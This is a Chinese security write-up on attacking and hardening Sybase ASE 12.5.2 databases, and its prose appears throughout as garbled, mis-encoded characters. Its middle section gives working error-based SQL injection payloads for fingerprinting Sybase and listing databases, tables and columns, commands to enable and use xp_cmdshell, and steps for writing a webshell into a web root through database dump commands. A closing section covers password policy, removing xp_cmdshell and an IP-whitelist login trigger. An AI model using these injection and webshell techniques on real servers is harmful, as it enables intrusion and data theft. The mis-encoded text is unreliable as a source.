SybaseµÄÈ«³ÆÓֽУº
SAP Sybase Adaptive Server Enterprise (¼ò³ÆASE»òSybase
ASE)£¬¼Ì³ÐÓÚMSSQLµÄÔʼ´úÂ룬ºÍMSSQLѪԵºÜ½ü¡£SybaseÊÇÒ»ÖÖ¹ØÏµÐÍÊý¾Ý¿âϵͳ£¬ÊÇÒ»ÖÖµäÐ͵ÄUNIX»òWindowsNTƽ̨ÉϿͻ§»ú/·þÎñÆ÷»·¾³ÏµĴóÐÍÊý¾Ý¿âϵͳ¡£ËüÒÔPowerBuilderΪ¿ª·¢¹¤¾ß£¬ÒÔ
SAP Sybase SQL Anywhere Ϊ¿Í»§¶Ë¡£Ä¿Ç°Ð°æÊÇASE 15.7.x£¬ÃüÃû´Ó12.5.5Ö±½Óµ½15.0.0(Ìø¹ýÖмäµÄ13¡¢14)£¬±¾´Î²âÊÔµÄÊÇ12.5.2£¬ÆäÖÐ12.5ÊÇ12´ó°æ±¾ÖÐ×îÎȶ¨µÄ°æ±¾¡£
0x00 SybaseÊý¾Ý¿â½éÉÜ
¼ò½é
SybaseµÄÈ«³ÆÓֽУº SAP Sybase Adaptive Server
Enterprise (¼ò³ÆASE»òSybase ASE)£¬¼Ì³ÐÓÚMSSQLµÄÔʼ´úÂ룬ºÍMSSQLѪԵºÜ½ü¡£SybaseÊÇÒ»ÖÖ¹ØÏµÐÍÊý¾Ý¿âϵͳ£¬ÊÇÒ»ÖÖµäÐ͵ÄUNIX»òWindowsNTƽ̨ÉϿͻ§»ú/·þÎñÆ÷»·¾³ÏµĴóÐÍÊý¾Ý¿âϵͳ¡£ËüÒÔPowerBuilderΪ¿ª·¢¹¤¾ß£¬ÒÔ
SAP Sybase SQL Anywhere Ϊ¿Í»§¶Ë¡£Ä¿Ç°Ð°æÊÇASE 15.7.x£¬ÃüÃû´Ó12.5.5Ö±½Óµ½15.0.0(Ìø¹ýÖмäµÄ13¡¢14)£¬±¾´Î²âÊÔµÄÊÇ12.5.2£¬ÆäÖÐ12.5ÊÇ12´ó°æ±¾ÖÐ×îÎȶ¨µÄ°æ±¾¡£

´´½¨Êý¾Ý¿âµÄʱºòҪעÒâ´æ·ÅÉ豸£º

·þÎñ¼°¶Ë¿Ú

¿ª·Å¶Ë¿Ú£º
±¸·Ý·þÎñ£º5001¡¢¼à¿Ø·þÎñ£º5002¡¢Êý¾Ý¿âÖ÷·þÎñ£º5000¡¢´æ´¢¹ý³Ì·þÎñ£º5004
ĬÈÏÊý¾Ý¿â

Master £ºÏµÍ³µÄºËÐÄÊý¾Ý¿â£¬¿ØÖÆ·þÎñÆ÷µÄ²Ù×÷ÒÔ¼°´æ´¢ÓйØËùÓÐÓû§Êý¾Ý¿âºÍÏà¹ØµÄ´æ´¢É豸µÄÐÅÏ¢£¬°üÀ¨Óû§µÄÓû§ÃûºÍÃÜÂë;
Model £ºÄ£°åÊý¾Ý¿â£¬µ±´´½¨Óû§Êý¾Ý¿âʱ£¬ÏµÍ³¸ù¾ÝmodelÊý¾Ý¿âÖÆ×÷¸±±¾£¬²¢½«Êý¾Ý¿âµÄ´óСÀ©Õ¹µ½Óû§Ö¸¶¨µÄ´óС¡£
Systemprocs £º±£´æÏµÍ³µÄ´æ´¢¹ý³Ì¡£
Sybsystemdb £º¹ØÓÚ·Ö²¼Ê½ÊÂÎñ¹ÜÀí¹¦ÄÜ¡£
Tempdb £º°üº¬ÁÙʱ±í£¬·ÅÖÃÁÙʱÊý¾Ý¡£
×¢²áÓû§ºÍÊý¾Ý¿âÓû§
µ±SQL SERVER´´½¨×¢²áÓû§ºó£¬¸ÃÓû§¾ÍÄܺϷ¨½øSQL SERVER£¬¸Ã×¢²áÓû§ÐÅÏ¢»á·ÅÔÚmasterÊý¾Ý¿âÖеÄ
syslogins±íÖС£µ«Ö»ÓÐ×¢²áÓû§³ÉΪijһÊý¾Ý¿âÓû§£¬²¢ÇÒ¶Ô¸ÃÓû§¸³ÓèijЩȨÏÞʱ£¬¸Ã×¢²áÓû§²ÅÄÜÔÚÏÞÖÆÌõ¼þÏÂʹÓÃÊý¾Ý¿âÖÐµÄ±í¡£
´´½¨×¢²áÓû§£º
sp_addlogin loginame, passwd (ɾ³ý¼´Îªdrop) |
´´½¨Êý¾Ý¿âÓû§£º
[dbname..] sp_adduser loginame £¨´Ë´¦µÄloginame ±ØÐëÊÇ×¢²áÓû§£¬·ñÔò±¨´í£© |
·ÖÅäȨÏÞ£º
grant all | select,insert,delete,update on table_name | view_name | stored_procedure_name to username |
»ò
grant all | create database,create default,create procedure,create rule,create table,create view,set proxy,set session authorization to username |
Êý¾Ý¿âÓû§·ÖÀà
saÓû§¡¢Êý¾Ý¿âÊôÖ÷¡¢Êý¾Ý¿â¶ÔÏóÊôÖ÷ºÍÊý¾Ý¿âÆÕͨÓû§
1)¡¢saÓû§:ΪϵͳÓû§£¬ÓµÓÐÈ«²¿µÄȨÏÞ¡£
2)¡¢Êý¾Ý¿âÊôÖ÷Óû§£ºÊý¾Ý¿âÊôÖ÷(dbo)Óû§¿É¶Ô±¾Êý¾Ý¿âÖÐËùÓжÔÏó(Èç±í¡¢ÊÓͼ¡¢´æ´¢¹ý³ÌµÈ)½øÐвÙ×÷¡£
3)¡¢Êý¾Ý¿â¶ÔÏóÊôÖ÷£ºÔÚʵ¼Ê¹ÜÀíÖУ¬ £¬Ò»°ãΪÊý¾Ý¿âÊôÖ÷¡£
4)¡¢Êý¾Ý¿âÆÕͨÓû§£ºÀàËÆÓÚpublic£¬Êý¾Ý¿âÆÕͨÓû§±ØÐëÔÚÊý¾Ý¿âÊôÖ÷¶Ô±¾Êý¾Ý¿âÖÐijЩ¶ÔÏó(Èç±í¡¢ÊÓͼ¡¢½ø³ÌµÈ)¸³ÓèijЩȨÏÞʱ£¬²Å¿É¶Ô±¾Êý¾Ý¿âÖÐijЩ¶ÔÏó½øÐÐÔÊÐíµÄ²Ù×÷¡£
±ðÃû(aliases)Óë×é(group)
1)¡¢±ðÃû£ºËùν±ðÃû(aliases)¼´½«SQL SERVERÖеÄ×¢²áÓû§ÒÔͬһ¸öÊý¾Ý¿âÓû§µÄÉí·ÝÀ´·ÃÎÊÊý¾Ý¿â£¬²¢¾ßÓÐÓë¸ÃÓû§ÏàͬµÄȨÏÞ¡£
2)¡¢×é(group)ΪÊý¾Ý¿âÓû§µÄ¼¯ºÏ£¬¼´Í¨¹ý¶Ô×é(group)µÄȨÏ޵ĿØÖÆ´ïµ½¶Ô¸Ã×éÖÐÊý¾Ý¿âÓû§µÄ¿ØÖÆ£¬µ«Ò²¿É¶Ô¸Ã×éÖÐÊý¾Ý¿âijЩÓû§½øÐиñÍâµÄȨÏÞ¿ØÖÆ¡£

½ÇÉ«
Ò»°ãÔÚ¹ÜÀí·Ö¹¤½ÏϸµÄÊý¾Ý¿âϵͳÖУ¬saÓû§ÍùÍù±»·ÖΪÈýÖÖ½ÇÉ«£ºÏµÍ³¹ÜÀíÔ±½ÇÉ«(SA role)¡¢ÏµÍ³°²È«Ô±½ÇÉ«(SSO
role)¡¢²Ù×÷Ô±½ÇÉ«(OPER role)¡£

Á¬½Ó¼°¹ÜÀí¹¤¾ß
1)¡¢isql
ÀàËÆÓÚmysqlÊý¾Ý¿âµÄµÄmysql.exe¡£¿ÉÁ¬½Ó±¾µØ¼°ÍøÂçÊý¾Ý¿â¡£ ʹÓÃisql ¨CU sa ¨CP
¡°¡±Á¬½Ó:

ËùÓвÎÊý񻂿·Ö´óСд£º
-?ÏÔʾ isql ¿ª¹ØµÄÓï·¨ÕªÒª¡£
-LÁгöÔÚ±¾µØÅäÖõķþÎñÆ÷ºÍÔÚÍøÂçÉϹ㲥µÄ·þÎñÆ÷µÄÃû³Æ¡£
-U login_idÓû§µÇ¼ ID¡£µÇ¼ ID Çø·Ö´óСд¡£
-P password ÊÇÓû§Ö¸¶¨µÄÃÜÂë¡£Èç¹ûδʹÓÃ-P Ñ¡Ïisql ½«ÌáʾÊäÈëÃÜÂë¡£Èç¹ûÔÚÃüÁîÌáʾµÄĩβʹÓÃ
-P Ñ¡Ïî¶ø²»´øÃÜÂ룬isql ʹÓÃĬÈÏÃÜÂëNULL)¡£ÃÜÂëÇø·Ö´óСд¡£
-S server_name Ö¸¶¨ÒªÁ¬½Óµ½µÄ SQL Server ĬÈÏʵÀý¡£Èç¹ûδָ¶¨·þÎñÆ÷£¬isql
½«Á¬½Ó µ½±¾µØ¼ÆËã»úÉ쵀 SQL Server ĬÈÏʵÀý¡£Èç¹ûÒªÔÚÍøÂçÉÏ´ÓÔ¶³Ì¼ÆËã»úÖ´ÐÐ isql£¬ÔòÐèÒª´ËÑ¡Ïî¡£
-H hostname ÊÇʹÓõĿͻ§¶ËµÄÖ÷»úÃû³Æ¡£
-d use database name£¬ÓÃÓÚÖ¸¶¨Ê¹ÓÃÊý¾Ý¿âÃû
2)¡¢¹Ù·½Sybase SQL Advantage
ȱµã£ºa¡¢ËæÊý¾Ý¿âÍêÕû°²×°°üÒ»Æð·¢²¼£¬Ê¹ÓÃʱÓа汾ÉϵÄÒªÇó¡£
b¡¢Ö»Ö§³ÖSQLÓï¾ä£¬¸öÈ˾õµÃ¾ÍÊÇisqlµÄͼÐλ¯°æ£¬ÓÐËù²»±ã¡£


(Sql.iniÉ趨¼°¹¦ÄÜ£ºhttp://blog.csdn.net/potato015/article/details/2450989
)
3)¡¢¹Ù·½Sybase Central
ȱµã£ºa¡¢ËæÊý¾Ý¿âÍêÕû°²×°°üÒ»Æð·¢²¼£¬Ê¹ÓÃʱÓа汾ÉϵÄÒªÇó¡£
b¡¢¹¦Äܲ»ÊǺÜÇ¿´ó

4)¡¢DBArtisan

0x01 Sybase°²È«
Ö´ÐÐϵͳÃüÁî
ĬÈÏxp_cmdshellÊDz»¿ªÆôµÄ¡£Î´¿ªÆôxp_cmdshellʱ£º

¿ªÆôxp_cmdshell : sp_configure 'xp_cmdshell context',0

¿ªÆôxp_cmdshellºóÖ´ÐÐÃüÁî:

ȨÏÞ²»¹»Ê±Ö´ÐÐxp_cmdshell:

ϸ½Ú£º
1¡¢Ö´ÐÐ sp_configure 'xp_cmdshell',0 ÔÊÐíËùÓк¬sa_role½ÇÉ«µÄloginÓû§Ö´ÐÐxp_cmdshellÃüÁ´Ë¹¦ÄÜĬÈϹرÕ
2¡¢Ä¬ÈÏ sp_configure 'xp_cmdshell',1 ¾²âÊÔÐèÒªÔÚwindowsϾßÓÐÏàͬlonginÓû§Ãû³ÆºÍÃÜÂ룬²¢ÇÒ¸ÃÓû§Á¥ÊôadministratorsȨÏÞ×飬»¹ÓÐÒ»µã²»ÄܺöÂÔ£ºÈ¡ÏûÑ¡Ôñ¡°Óû§Ï´εǼʱÐè¸ü¸ÄÃÜÂ롱!
3¡¢MSSQLÓÉÓÚºÍwindows¼¯³É£¬¿ÉÒÔÖ±½ÓʹÓÃϵͳÕË»§µÇ¼µ½Êý¾Ý¿â¡£¶øSybaseÔòÐèÒª°´ÕÕÉÏÃæµÚ¶þ²½×öÅäÖòÅÄÜ´ïµ½ºÍMSSQLÀàËÆµÄЧ¹û¡£
×¢ÊÍ·ûÓëÁªºÏ²éѯ
Ö§³Öunion£¬¿ÉÒÔÓÃ/ /¡¢--À´×¢ÊÍ£¬¿ÉÒÔÓÃ/ /À´Ìæ»»¿Õ¸ñ£¬Ò²¿ÉÒÔÓÃ+´úÌæ¿Õ¸ñ£¬Ò²Ö§³Öcount(
)£¬²»¹ýͨÅä·û ²»ÄܳöÏÖÔÚ×Ó²éѯÖС£

12.5.2¼°ÒÔǰµÄ°æ±¾²»Ö§³ÖTOP¹Ø¼ü×Ö£¬ÐÎÈçselect top N from×¢ÈëÓï¾ä½«±¨´í

µ±È»£¬²»ÄÜÓÃtop£¬¿Ï¶¨»áÓÐÌæ´ú·½°¸£¬ÄǾÍÊÇset rowcount N


µ«ÊÇset rowcount NÃ²ËÆ²»Ö§³Ö×Ó²éѯºÍÌõ¼þ¾ä£º

¶à¾äÖ´ÐÐ
Óëmssql²»Í¬µÄµØ·½ÊÇ£º¶àÌõÓï¾äÖ±½ÓÒÔ¿Õ¸ñ·Ö¸ô£¬¶ø²»ÊǷֺš£


¶Ô±àÂëµÄÖ§³Ö
ÓëMSSQLÏàͬ£º

SQL×¢ÈëÌØÐÔ
ÒÔPhpΪ½Å±¾£º

ÒÔJavaΪ½Å±¾£º

ÅжÏÊÇ·ñÊÇSybaseÊý¾Ý¿â£º
id=1 and exists(select * from master.dbo.ijdbc_function_escapes) |


ÒÔ±¨´í·½Ê½×¢ÈëʱҪעÒ⣬sybaseÊDz»Ö§³Ö²»Í¬ÀàÐÍÊý¾ÝÖ±½ÓÏà±È½ÏµÄ(ÓëMSSQL²»Í¬)£º
id=1 and 1=user id=1 and 1=convert(integer,user) ![enter image description here][28] id=1 and 1=convert(integer,(select+@@version)) ![enter image description here][29] id=-1 union select 1,"",(select @@version) |

Áпâ(¸´ÔÓ°æ±¾)£º
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),
CHAR(32))) FROM (SELECT name FROM master..sysdatabases)
AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>¡® ¡¯)) |
ÁгöµÚÒ»¸ö¿âmaster
id=1 and 1=convert(integer,(SELECT MIN(ISNULL(CONVERT(NVARCHAR(4000),gJyQ.name),
CHAR(32))) FROM (SELECT name FROM master..sysdatabases)
AS gJyQ WHERE CONVERT(NVARCHAR(4000),gJyQ.name)>¡¯master¡®)) |
Áгö³ýmasterÍâµÄµÚÒ»¸ö¿â

Áпâ(¼òµ¥°æ±¾)£º
id=1 and 1=convert(integer,(SELECT name FROM master..sysdatabases where dbid=1)) ²»¶ÏµÝÔödbidµÄÖµ |

dbidÊÇÁ¬ÐøµÄÊý×Ö£¬²Â½âÆðÀ´ºÜÈÝÒ×

PS£ºËäÈ»Sybase²»ÄÜÓÃTOP¡¢for xml path£¬µ«ÊÇÖ§³Öhaving¡¢where not
inµÈÓï·¨£¬±ä»¯·½Ê½ÒÀÈ»ÓжàÖÖ
ÓëMSSQL²»Í¬µÄÒ»µã£º
MSSQLÊÇxtype SybaseÊÇtype

Áбí(Ö»ÄÜÓø´ÔÓ°æ)£º
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),
CHAR(32))) from (select name from test.dbo.sysobjects where type=¡®U¡¯)
AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>¡® ¡¯)) |
ÁгöµÚÒ»¸ö±ícmd
id=1 and 1=convert(integer,(select MIN(ISNULL(CONVERT(NVARCHAR(4000),aaaa.name),CHAR(32)))
from (select name from test.dbo.sysobjects where type=¡®U¡¯)
AS aaaa where CONVERT(NVARCHAR(4000),aaaa.name)>¡®cmd¡¯)) |
Áгö³ýcmdÍâµÄµÚÒ»¸ö±ícmd0

ÁÐ×ֶΣº
select name from test..syscolumns where id=object_id(¡®users¡¯) and colid=1 µÝÔöcolid |
¼´£º
id=1 and 1=convert(integer,(select name from test..syscolumns where id=object_id('users') and colid=1)) |

¹¤¾ß×¢È룺

´©É½¼×²Â²»³ö¿âÃû£¬×¥°ü·¢ÏÖʹÓÃÁËTOP¹Ø¼ü×Ö£¬¿´À´´©É½¼×Ö»Ö§³Ö12.5.3ÒÔºóµÄsybase

±¸·ÝдÎļþ(webshell)
ǰÌáÌõ¼þ£º
1¡¢±¸·Ý·þÎñ´ò¿ª
2¡¢±¸·Ý·þÎñÔÊÐíÔ¶³Ì·ÃÎÊ
3¡¢ÓÐÊý¾Ý¿âȨÏÞ(ËÞÖ÷ȨÏÞ)+´ÅÅÌдȨÏÞ
²½Ö裺
¡¢create table cmd(a image)¡ª
¡¢insert into cmd(a) values ('')¡ª
¡¢dump database test to ¡®C:\wamp\www\1.php¡¯ ¡¾È«±¸·Ý¡¿
(¶ÔÓ¦MSSQLΪ£ºbackup database ¿âÃû to disk= 'C:\wamp\www\1.php
' WITH DIFFERENTIAL,FORMAT;--)
dump TRANSACTION test to ¡®C:\wamp\www\1.php¡¯
¡¾LOG±¸·Ý¡¿
(¶ÔÓ¦MSSQLΪ£ºbackup log ¿âÃû to disk='d:\www\xxx\test.asp'--) |
×¢£ºÊ¹ÓÃdump TRANSACTIONʱҪÇóÊý¾ÝÎļþºÍÈÕÖ¾Îļþ²»ÄÜ´æ·ÅÔÚͬһÉ豸ÖС£
¡¢drop table cmd--

¼Ó¹ÌÓë·À·¶
¿ÚÁî
sp_password ¡°ÔÃÜÂ롱, ¡°ÐÂÃÜÂ롱,Óû§Ãû
ÀýÈ罫saÓû§µÄÃÜÂëÓɿոÄΪ123456£º sp_password NULL,¡±123456¡±,sa
sp_configure ¡°minimum password length¡±,8 ---ÃÜÂë×î¶Ì³¤¶È sp_configure ¡°check password for digit¡±,1 ---ÖÁÉÙ°üº¬Ò»¸öÊý×Ö sp_configure ¡°systemwide password expiration¡±,90 ---¿ÚÁîÓÐЧʱ³¤ sp_configure ¡°maximum failed logins¡±,5 ---ÉèÖÿÚÁî´íÎóËø¶¨·§Öµ |
ɾ³ýÀ©Õ¹´æ´¢¹ý³Ìxp_cmdshell£¬ ²¢É¾ ³ý sybsyesp.dll
exec sp_dropextendedproc xp_cmdshell |
¹Ø±ÕsaÕË»§µÄʹÓãº
¹Ø±ÕÔ¶³Ì·ÃÎÊ£º
exec sp_configure ¡°allow remote access¡± ,0 |
¹Ø±Õºó£¬ºÜ¶à·þÎñ½«ÎÞ·¨Ê¹Ó㬱ÈÈ籸·Ý
µÇ½IP°×Ãûµ¥
ϵͳûÓк͵ǽÏà¹ØµÄÏÞÖÆÉèÖã¬Ö»ÄÜͨ¹ý´´½¨µÇ¼´¥·¢Æ÷À´ÊµÏֵǽIP°×Ãûµ¥
create procedure login_trg as declare @ip varchar(18),@login_name varchar(20) begin select @ip=t.ipaddr,@login_name=suser_name() from master.dbo.sysprocesses t where t.spid=@@spid if @ip<>'192.168.0.102' begin raiserror 30000 'IP address %1! ,with user %2! login failed!',@ip,@login_name select syb_quit() end else print 'Welcome!' end |
´´½¨µÇ¼´¥·¢Æ÷ºó£¬Ö´ÐÐÈçÏÂÃüÁ
isql>grant execute on login_trg to loginname isql>sp_modifylogin loginname, "login script",login_trg |
ÈÕÖ¾
isql>exec sp_configure "log audit logon failure",1 --¼Ç¼µÇ¼ʧ°ÜÐÅÏ¢ isql>exec sp_configure "log audit logon success",1 --¼Ç¼µÇ¼³É¹¦ÐÅÏ¢ |
|